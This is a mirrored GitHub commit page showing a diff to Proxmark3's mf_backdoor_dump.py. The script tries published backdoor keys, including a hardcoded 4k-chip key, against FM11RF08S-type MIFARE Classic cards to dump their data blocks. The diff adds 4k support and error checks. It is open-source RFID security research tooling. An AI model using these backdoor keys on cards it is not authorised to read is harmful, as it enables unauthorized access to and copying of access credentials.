github/RRG-Proxmark3
1
0
Fork 0
mirror of https://github.com/RfidResearchGroup/proxmark3.git synced 2025-08-21 13:53:55 -07:00
Code Issues Projects Releases Packages Wiki Activity Actions

Merge pull request #2567 from Aptimex/mf_backdoor_dump

Browse source 
mf_backdoor_dump.py: 4k tag support, additional error check
This commit is contained in:
Iceman 2024-10-11 10:15:14 +02:00 • committed by GitHub
commit dc7649241a
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
1 changed files with 10 additions and 3 deletions
Download patch file Download diff file Expand all files Collapse all files

13
client/pyscripts/mf_backdoor_dump.py
View file

@ -1,7 +1,7 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
# Uses the backdoor keys for the FM11RF08S (and similar) chipsets to quickly dump all the data they can read # Uses the backdoor keys for the FM11RF08S (and similar) chipsets to quickly dump all the data they can read
# Tested on vulnerable 1k chips only # Should work on vulnerable 1k and 4k chips
# Based on the work in this paper: https://eprint.iacr.org/2024/1275 # Based on the work in this paper: https://eprint.iacr.org/2024/1275
import pm3 import pm3
@ -22,13 +22,17 @@ p = pm3.pm3()
# Test all the keys first to see which one works (if any) # Test all the keys first to see which one works (if any)
for bk in BACKDOOR_KEYS: for bk in BACKDOOR_KEYS:
p.console(f"hf mf rdbl -c 4 --key {bk} --blk 0") p.console(f"hf mf rdbl -c 4 --blk 0 --key {bk}")
output = p.grabbed_output.split('\n') output = p.grabbed_output.split('\n')
if "auth error" in output[0].lower(): if "auth error" in output[0].lower():
continue continue
elif "can't select card" in output[0].lower(): elif "can't select card" in output[0].lower():
print("Error reading the tag.") print(f"Error reading the tag: {output[0]}")
exit()
elif len(output) < 2 or "sector 0" not in output[1].lower():
print("Unexpected output, exiting:")
print("\n".join(output))
exit() exit()
else: else:
WORKING_KEY = bk WORKING_KEY = bk
@ -39,6 +43,9 @@ if not WORKING_KEY:
exit() exit()
print(f"Backdoor key {WORKING_KEY} seems to work, dumping data...") print(f"Backdoor key {WORKING_KEY} seems to work, dumping data...")
if WORKING_KEY == "518B3354E760":
print(f"Backdoor key is for a 4k chip, will attempt to dump 64 sectors instead of {TOTAL_SECTORS}")
TOTAL_SECTORS = 64
print("IMPORTANT: Only data blocks and access bytes can be dumped; keys will be shown as all 0's") print("IMPORTANT: Only data blocks and access bytes can be dumped; keys will be shown as all 0's")
header = False header = False